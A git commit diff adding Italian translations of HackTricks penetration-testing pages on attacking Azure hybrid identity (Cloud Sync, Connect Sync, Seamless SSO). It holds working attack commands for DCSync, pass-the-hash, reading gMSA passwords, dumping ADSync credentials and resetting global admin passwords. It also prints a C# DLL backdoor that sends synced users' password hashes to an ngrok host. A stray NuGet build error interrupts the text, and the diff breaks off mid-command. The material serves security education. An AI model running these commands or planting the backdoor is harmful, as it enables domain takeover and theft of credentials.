Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

2026-01-08 19:30:51 -08:00 · 2025-07-23 22:09:44 +00:00
parent bc505d1864
commit 30972fe9a4
3 changed files with 468 additions and 32 deletions
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
@@ -0,0 +1,151 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Informazioni di Base
+
+**Cloud Sync** è fondamentalmente il nuovo modo di Azure per **synchronizzare gli utenti da AD in Entra ID**.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync è una nuova offerta di Microsoft progettata per soddisfare e raggiungere i tuoi obiettivi di identità ibrida per la sincronizzazione di utenti, gruppi e contatti in Microsoft Entra ID. Questo viene realizzato utilizzando l'agente di provisioning cloud di Microsoft Entra invece dell'applicazione Microsoft Entra Connect. Tuttavia, può essere utilizzato insieme a Microsoft Entra Connect Sync.
+
+### Principali Generati
+
+Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che nella directory On-Premise:
+
+- In Entra ID viene creato l'utente `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) con il ruolo **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
+
+> [!WARNING]
+> Questo ruolo aveva molte autorizzazioni privilegiate e poteva essere utilizzato per [**escalare privilegi anche a global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Tuttavia, Microsoft ha deciso di rimuovere tutti i privilegi di questo ruolo e assegnarne solo uno nuovo **`microsoft.directory/onPremisesSynchronization/standard/read`** che non consente realmente di eseguire alcuna azione privilegiata (come modificare la password o gli attributi di un utente o aggiungere una nuova credenziale a un SP).
+
+- In Entra ID viene anche creata il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se [`Microsoft Entra Domain Services`](./az-domain-services.md) viene utilizzato.
+
+- Nell'AD, viene creato o l'Account di Servizio **`provAgentgMSA`** con un SamAccountName come **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), oppure uno personalizzato con [**queste autorizzazioni necessarie**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Di solito viene creato quello predefinito.
+
+> [!WARNING]
+> Tra le altre autorizzazioni, l'Account di Servizio **`provAgentgMSA`** ha autorizzazioni DCSync, consentendo **a chiunque lo comprometta di compromettere l'intera directory**. Per ulteriori informazioni su [DCSync controlla questo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+
+> [!NOTE]
+> Per impostazione predefinita, gli utenti di gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che sono assegnati a privilegi elevati direttamente **possono essere sincronizzati**.
+
+## Sincronizzazione della Password
+
+Questa sezione è molto simile a quella di:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **La sincronizzazione dell'hash della password** può essere abilitata in modo che gli utenti possano **accedere a Entra ID utilizzando le loro password da AD**. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID.
+- **La scrittura della password** può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo la [documentazione attuale](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla [sezione Az Connect Sync](./az-connect-sync.md) per ulteriori informazioni.
+- **Scrittura dei gruppi**: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD.
+
+## Pivoting
+
+### AD --> Entra ID
+
+- Se gli utenti AD vengono sincronizzati da AD a Entra ID, il pivoting da AD a Entra ID è semplice, basta **compromettere la password di un utente o cambiare la password di un utente o creare un nuovo utente e aspettare che venga sincronizzato nella directory di Entra ID (di solito solo pochi minuti)**.
+
+Quindi potresti ad esempio
+- Compromettere l'account **`provAgentgMSA`**, eseguire un attacco DCSync, decifrare la password di un utente e poi usarla per accedere a Entra ID.
+- Creare semplicemente un nuovo utente nell'AD, aspettare che venga sincronizzato in Entra ID e poi usarlo per accedere a Entra ID.
+- Modificare la password di un utente nell'AD, aspettare che venga sincronizzata in Entra ID e poi usarla per accedere a Entra ID.
+
+Per compromettere le credenziali di **`provAgentgMSA`**:
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+Ora puoi utilizzare l'hash del gMSA per eseguire un attacco Pass-the-Hash contro Entra ID utilizzando l'account `provAgentgMSA` e mantenere la persistenza potendo eseguire attacchi DCSync contro l'AD.
+
+Per ulteriori informazioni su come compromettere un Active Directory, controlla:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Nota che non c'è modo di assegnare ruoli Azure o EntraID agli utenti sincronizzati in base ai loro attributi, ad esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati, alcuni **gruppi Entra ID da AD** potrebbero ricevere permessi in modo che anche gli utenti sincronizzati all'interno di quei gruppi li ricevano, oppure **potrebbero essere utilizzati gruppi dinamici**, quindi controlla sempre le regole dinamiche e i potenziali modi per abusarne:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+Per quanto riguarda la persistenza, [questo post del blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggerisce che è possibile utilizzare [**dnSpy**](https://github.com/dnSpy/dnSpy) per backdoorare il dll **`Microsoft.Online.Passwordsynchronisation.dll`** situato in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** che viene utilizzato dall'agente Cloud Sync per eseguire la sincronizzazione delle password, facendolo esfiltrare gli hash delle password degli utenti sincronizzati a un server remoto. Gli hash vengono generati all'interno della classe **`PasswordHashGenerator`** e il post del blog suggerisce di aggiungere del codice in modo che la classe appaia così (nota l'uso di `System.Net` e l'uso di `WebClient` per esfiltrare gli hash delle password):
+```csharp
+using System;
+using System.Net;
+using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
+
+namespace Microsoft.Online.PasswordSynchronization
+{
+// Token: 0x0200003E RID: 62
+public class PasswordHashGenerator : ClearPasswordHashGenerator
+{
+// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
+public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
+{
+PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
+try
+{
+using (WebClient webClient = new WebClient())
+{
+webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
+}
+}
+catch (Exception)
+{
+}
+return new PasswordHashData
+{
+Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
+RawHash = passwordHashData.RawHash
+};
+}
+}
+}
+```
+NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
+. Please see Error List window for detailed warnings and errors.
+
+### Entra ID --> AD
+
+- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti da Entra ID e, se hai accesso alla rete AD, connetterti utilizzando queste credenziali. Per ulteriori informazioni, controlla la sezione [Az Connect Sync](./az-connect-sync.md) poiché il password writeback è configurato utilizzando quell'agente.
+
+- A questo punto, Cloud Sync consente anche **"Microsoft Entra ID to AD"**, ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti di EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+
+> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati nel cloud aggiuntivi.
+> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato nel cloud possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta.
+
+Quindi la superficie di attacco (e l'utilità) di questo servizio è notevolmente ridotta poiché un attaccante dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e entrambi devono apparentemente essere nella stessa foresta).
+
+### Enumeration
+```bash
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+--method GET \
+--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+--headers "Content-Type=application/json"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
@@ -0,0 +1,203 @@
+# Az - Connect Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Informazioni di Base
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) I servizi di sincronizzazione Microsoft Entra Connect (Microsoft Entra Connect Sync) sono un componente principale di Microsoft Entra Connect. Si occupa di tutte le operazioni relative alla sincronizzazione dei dati di identità tra il tuo ambiente on-premises e Microsoft Entra ID.
+
+Per utilizzarlo, è necessario installare l'agente **`Microsoft Entra Connect Sync`** in un server all'interno del tuo ambiente AD. Questo agente si occuperà della sincronizzazione dal lato AD.
+
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
+
+Il **Connect Sync** è fondamentalmente il modo "vecchio" di Azure per **synchronizzare gli utenti da AD in Entra ID.** Il nuovo modo raccomandato è utilizzare **Entra Cloud Sync**:
+
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### Principali Generati
+
+- L'account **`MSOL_<installationID>`** viene creato automaticamente nell'AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**.
+- Ciò significa che chiunque comprometta questo account sarà in grado di compromettere il dominio on-premise.
+- Un account di servizio gestito **`ADSyncMSA<id>`** viene creato nell'AD on-prem senza privilegi predefiniti speciali.
+- In Entra ID, il Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** viene creato con un certificato.
+
+## Sincronizzare le Password
+
+### Sincronizzazione dell'Hash della Password
+
+Questo componente può essere utilizzato anche per **synchronizzare le password da AD in Entra ID** in modo che gli utenti possano utilizzare le loro password AD per connettersi a Entra ID. Per questo, è necessario consentire la sincronizzazione dell'hash della password nell'agente Microsoft Entra Connect Sync installato in un server AD.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione dell'hash della password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
+
+Fondamentalmente, tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem a Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati a Azure AD.
+
+La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, per impostazione predefinita, **la scadenza della password** e **la scadenza dell'account** **non vengono sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** utilizzando la vecchia password.
+
+Quando un utente on-prem vuole accedere a una risorsa Azure, **l'autenticazione avviene su Azure AD**.
+
+> [!NOTE]
+> Per impostazione predefinita, gli utenti di gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che hanno privilegi elevati assegnati direttamente **possono essere sincronizzati**.
+
+### Scrittura della Password
+
+Questa configurazione consente di **synchronizzare le password da Entra ID in AD** quando un utente cambia la propria password in Entra ID. Nota che per il funzionamento della scrittura della password, l'utente `MSOL_<id>` generato automaticamente nell'AD deve ricevere [più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**.
+
+Questo è particolarmente interessante per compromettere l'AD da un Entra ID compromesso poiché sarai in grado di modificare la password di "quasi" qualsiasi utente.
+
+Gli amministratori di dominio e altri utenti appartenenti a gruppi privilegiati non vengono replicati se il gruppo ha l'attributo **`adminCount` a 1**. Ma altri utenti che sono stati assegnati privilegi elevati all'interno dell'AD senza appartenere a nessuno di questi gruppi potrebbero avere la loro password cambiata. Ad esempio:
+
+- Utenti assegnati privilegi elevati direttamente.
+- Utenti del gruppo **`DNSAdmins`**.
+- Utenti del gruppo **`Group Policy Creator Owners`** che hanno creato GPO e li hanno assegnati a OUs saranno in grado di modificare i GPO che hanno creato.
+- Utenti del **`Cert Publishers Group`** che possono pubblicare certificati in Active Directory.
+- Utenti di qualsiasi altro gruppo con privilegi elevati senza l'attributo **`adminCount` a 1**.
+
+## Pivoting AD --> Entra ID
+
+### Enumerare Connect Sync
+
+Controlla gli utenti:
+```bash
+# Check for the users created by the Connect Sync
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
+Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=MSOL_*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=ADSyncMSA*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=Sync_*)"
+$searcher.FindAll()
+```
+Controlla la **configurazione di Connect Sync** (se presente):
+```bash
+az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
+# Check if password sychronization is enabled, if password and group writeback are enabled...
+```
+### Trovare le password
+
+Le password dell'**`MSOL_*`** utente (e dell'**Sync\_\*** utente se creato) sono **memorizzate in un server SQL** sul server dove **Entra ID Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
+Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
+
+È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
+
+`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
+
+La **configurazione criptata** è criptata con **DPAPI** e contiene le **password dell'`MSOL_*`** utente in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste è possibile ottenere privilegi elevati su AD e AzureAD.
+
+Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+
+### Abusare di MSOL\_\*
+```bash
+# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
+
+# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
+runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
+```
+> [!WARNING]
+> Attacchi precedenti hanno compromesso l'altro password per poi connettersi all'utente Entra ID chiamato `Sync_*` e poi compromettere Entra ID. Tuttavia, questo utente non esiste più.
+
+
+### Abusare di ConnectSyncProvisioning_ConnectSync\_<id>
+
+Questa applicazione è creata senza avere alcun ruolo di gestione di Entra ID o Azure assegnato. Tuttavia, ha le seguenti autorizzazioni API:
+
+- Microsoft Entra AD Synchronization Service
+- `ADSynchronization.ReadWrite.All`
+- Microsoft password reset service
+- `PasswordWriteback.OffboardClient.All`
+- `PasswordWriteback.RefreshClient.All`
+- `PasswordWriteback.RegisterClientVersion.All`
+
+Si menziona che lo SP di questa applicazione può ancora essere utilizzato per eseguire alcune azioni privilegiate utilizzando un'API non documentata, ma finora non è stata trovata alcuna PoC a mia conoscenza.\
+In ogni caso, pensando che ciò possa essere possibile, sarebbe interessante esplorare ulteriormente come trovare il certificato per accedere come questo service principal e provare ad abusarne.
+
+Questo [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) è stato pubblicato poco prima del cambiamento dall'uso dell'utente `Sync_*` a questo service principal, spiegando che il certificato era memorizzato all'interno del server e che era possibile trovarlo, generare PoP (Proof of Possession) di esso e token grafico, e con questo, essere in grado di aggiungere un nuovo certificato al service principal (perché un **service principal** può sempre assegnare a se stesso nuovi certificati) e poi usarlo per mantenere la persistenza come SP.
+
+Per eseguire queste azioni, sono stati pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+Dalla mia esperienza, il certificato non è più memorizzato nel luogo in cui il precedente strumento lo cercava, e quindi, lo strumento non funziona più. Potrebbe essere necessaria ulteriore ricerca.
+
+### Abusare di Sync\_\* [DEPRECATED]
+
+> [!WARNING]
+> In precedenza, un utente chiamato `Sync_*` era stato creato in Entra ID con autorizzazioni molto sensibili assegnate, che consentivano di eseguire azioni privilegiate come modificare la password di qualsiasi utente o aggiungere una nuova credenziale a un service principal. Tuttavia, dal gennaio 2025, questo utente non viene più creato per impostazione predefinita poiché ora viene utilizzata l'Applicazione/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Tuttavia, potrebbe essere ancora presente in alcuni ambienti, quindi vale la pena controllarlo.
+
+Compromettere l'account **`Sync_*`** rende possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali)
+```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
+# This command, run previously, will give us alse the creds of this account
+Get-AADIntSyncCredentials
+
+# Get access token for Sync_* account
+$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
+$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
+Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
+
+# Get global admins
+Get-AADIntGlobalAdmins
+
+# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
+Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
+
+# Reset the users password
+Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
+
+# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
+```
+È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato)
+```bash
+# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
+# The CloudAnchor is of the format USER_ObjectID.
+Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
+
+# Reset password
+Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
+```
+È anche possibile estrarre la password di questo utente.
+
+> [!CAUTION]
+> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, che l'utente **Sync** ha **permessi** per fare, e poi **accedere a quel service principal** come modo di privesc.
+
+### Seamless SSO
+
+È possibile utilizzare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Controllalo in:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## Pivoting Entra ID --> AD
+
+- Se il writeback della password è abilitato, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID.
+- Se il writeback dei gruppi è abilitato, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD.
+
+## Riferimenti
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -4,23 +4,72 @@

 ## Informazioni di base

-[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **accede automaticamente gli utenti quando sono sui loro dispositivi aziendali** connessi alla tua rete aziendale. Quando abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza necessità di componenti aggiuntivi on-premises.
+[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **effettua automaticamente il login degli utenti quando si trovano sui loro dispositivi aziendali** connessi alla rete aziendale. Quando è abilitato, **gli utenti non devono digitare le loro password per accedere ad Azure AD**, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises.

 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

-Fondamentalmente, Azure AD Seamless SSO **accede gli utenti** quando si trovano su un **PC unito al dominio on-prem**.
+Fondamentalmente, Azure AD Seamless SSO **effettua il login degli utenti** quando si trovano **su un PC unito a un dominio on-prem**.

 È supportato sia da [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) che da [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).

-Il SSO desktop utilizza **Kerberos** per l'autenticazione. Quando configurato, Azure AD Connect crea un **account computer chiamato AZUREADSSOACC`$`** nell'AD on-prem. La password dell'account `AZUREADSSOACC$` è **inviata in chiaro ad Azure AD** durante la configurazione.
+Il SSO desktop utilizza **Kerberos** per l'autenticazione. Quando configurato, Azure AD Connect crea un **account computer chiamato `AZUREADSSOACC$`** in AD on-prem. La password dell'account `AZUREADSSOACC$` è **inviata in chiaro a Entra ID** durante la configurazione.

-I **ticket Kerberos** sono **crittografati** utilizzando l'**NTHash (MD4)** della password e Azure AD utilizza la password inviata per decrittografare i ticket.
+I **ticket Kerberos** sono **crittografati** utilizzando l'**NTHash (MD4)** della password e Entra ID utilizza la password inviata per decrittografare i ticket.

-**Azure AD** espone un **endpoint** (https://autologon.microsoftazuread-sso.com) che accetta **ticket** Kerberos. Il browser della macchina unita al dominio inoltra i ticket a questo endpoint per il SSO.
+**Entra ID** espone un **endpoint** (https://autologon.microsoftazuread-sso.com) che accetta **ticket** Kerberos. Il browser della macchina unita al dominio inoltra i ticket a questo endpoint per il SSO.

-### On-prem -> cloud
+### Enumerazione
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

-La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere l'**hash di questo account**, e poi usarlo per **creare ticket silver** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**:
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
+> La cosa principale da sapere su questo attacco è che avere solo il TGT o un TGS specifico di un utente sincronizzato con Entra ID è sufficiente per accedere alle risorse cloud.\
+> Questo perché è un ticket che consente a un utente di accedere al cloud.
+
+Per ottenere quel ticket TGS, l'attaccante deve avere uno dei seguenti:
+- **Un TGS di un utente compromesso:** Se comprometti la sessione di un utente con il ticket per `HTTP/autologon.microsoftazuread-sso.com` in memoria, puoi usarlo per accedere alle risorse cloud.
+- **Un TGT di un utente compromesso:** Anche se non ne hai uno ma l'utente è stato compromesso, puoi ottenerne uno utilizzando il trucco di delega TGT falso implementato in molti strumenti come [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **L'hash o la password di un utente compromesso:** SeamlessPass comunicherà con il controller di dominio con queste informazioni per generare il TGT e poi il TGS.
+- **Un golden ticket:** Se hai la chiave KRBTGT, puoi creare il TGT di cui hai bisogno per l'utente attaccato.
+- **L'hash o la password dell'account AZUREADSSOACC$:** Con queste informazioni e l'Identificatore di Sicurezza (SID) dell'utente da attaccare è possibile creare un ticket di servizio e autenticarsi con il cloud (come eseguito nel metodo precedente).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+Come [spiegato in questo post del blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), avere uno qualsiasi dei requisiti precedenti rende molto facile utilizzare lo strumento **SeamlessPass** per accedere alle risorse cloud come utente compromesso, o come qualsiasi utente se hai l'hash o la password dell'account **`AZUREADSSOACC$`**.
+
+Infine, con il TGT è possibile utilizzare lo strumento [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
